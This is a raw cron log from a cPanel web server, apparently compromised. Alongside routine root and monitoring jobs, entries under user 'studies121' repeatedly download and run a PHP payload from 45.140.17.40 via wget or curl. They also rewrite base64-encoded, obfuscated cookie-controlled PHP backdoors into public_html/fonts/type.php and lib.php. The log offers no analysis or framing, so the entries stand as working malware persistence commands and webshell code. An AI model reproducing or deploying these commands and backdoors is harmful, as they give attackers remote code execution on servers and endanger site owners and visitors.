Sep  8 05:48:01 ip-184-168-122-23 CROND[22313]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:48:01 ip-184-168-122-23 CROND[22312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:49:01 ip-184-168-122-23 CROND[22452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:49:01 ip-184-168-122-23 CROND[22454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:49:01 ip-184-168-122-23 CROND[22456]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:49:01 ip-184-168-122-23 CROND[22455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22562]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:50:01 ip-184-168-122-23 CROND[22563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:50:01 ip-184-168-122-23 CROND[22567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22570]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22572]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:50:01 ip-184-168-122-23 CROND[22575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:51:02 ip-184-168-122-23 CROND[22813]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:51:02 ip-184-168-122-23 CROND[22814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:51:02 ip-184-168-122-23 CROND[22815]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:51:02 ip-184-168-122-23 CROND[22816]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:52:01 ip-184-168-122-23 CROND[22933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:52:01 ip-184-168-122-23 CROND[22936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:52:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:52:01 ip-184-168-122-23 CROND[22935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:52:01 ip-184-168-122-23 CROND[22937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:53:01 ip-184-168-122-23 CROND[23062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:53:01 ip-184-168-122-23 CROND[23064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:53:01 ip-184-168-122-23 CROND[23065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:53:01 ip-184-168-122-23 CROND[23066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:54:01 ip-184-168-122-23 CROND[23192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:54:01 ip-184-168-122-23 CROND[23193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:54:01 ip-184-168-122-23 CROND[23197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:54:01 ip-184-168-122-23 CROND[23196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:54:01 ip-184-168-122-23 CROND[23198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:55:01 ip-184-168-122-23 CROND[23338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:55:01 ip-184-168-122-23 CROND[23335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:55:01 ip-184-168-122-23 CROND[23337]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:55:01 ip-184-168-122-23 CROND[23339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:55:01 ip-184-168-122-23 CROND[23336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:55:01 ip-184-168-122-23 CROND[23344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:56:01 ip-184-168-122-23 CROND[23563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:56:01 ip-184-168-122-23 CROND[23566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:56:01 ip-184-168-122-23 CROND[23565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:56:02 ip-184-168-122-23 CROND[23568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:56:02 ip-184-168-122-23 CROND[23570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:57:01 ip-184-168-122-23 CROND[23723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:57:01 ip-184-168-122-23 CROND[23724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:57:01 ip-184-168-122-23 CROND[23725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:57:01 ip-184-168-122-23 CROND[23726]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:58:01 ip-184-168-122-23 CROND[23831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:58:01 ip-184-168-122-23 CROND[23833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:58:01 ip-184-168-122-23 CROND[23834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:58:01 ip-184-168-122-23 CROND[23835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:58:01 ip-184-168-122-23 CROND[23836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:59:01 ip-184-168-122-23 CROND[23938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:59:01 ip-184-168-122-23 CROND[23940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:59:01 ip-184-168-122-23 CROND[23941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:59:01 ip-184-168-122-23 CROND[23942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24071]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:00:01 ip-184-168-122-23 CROND[24074]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24075]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24085]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24084]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:00:01 ip-184-168-122-23 CROND[24086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
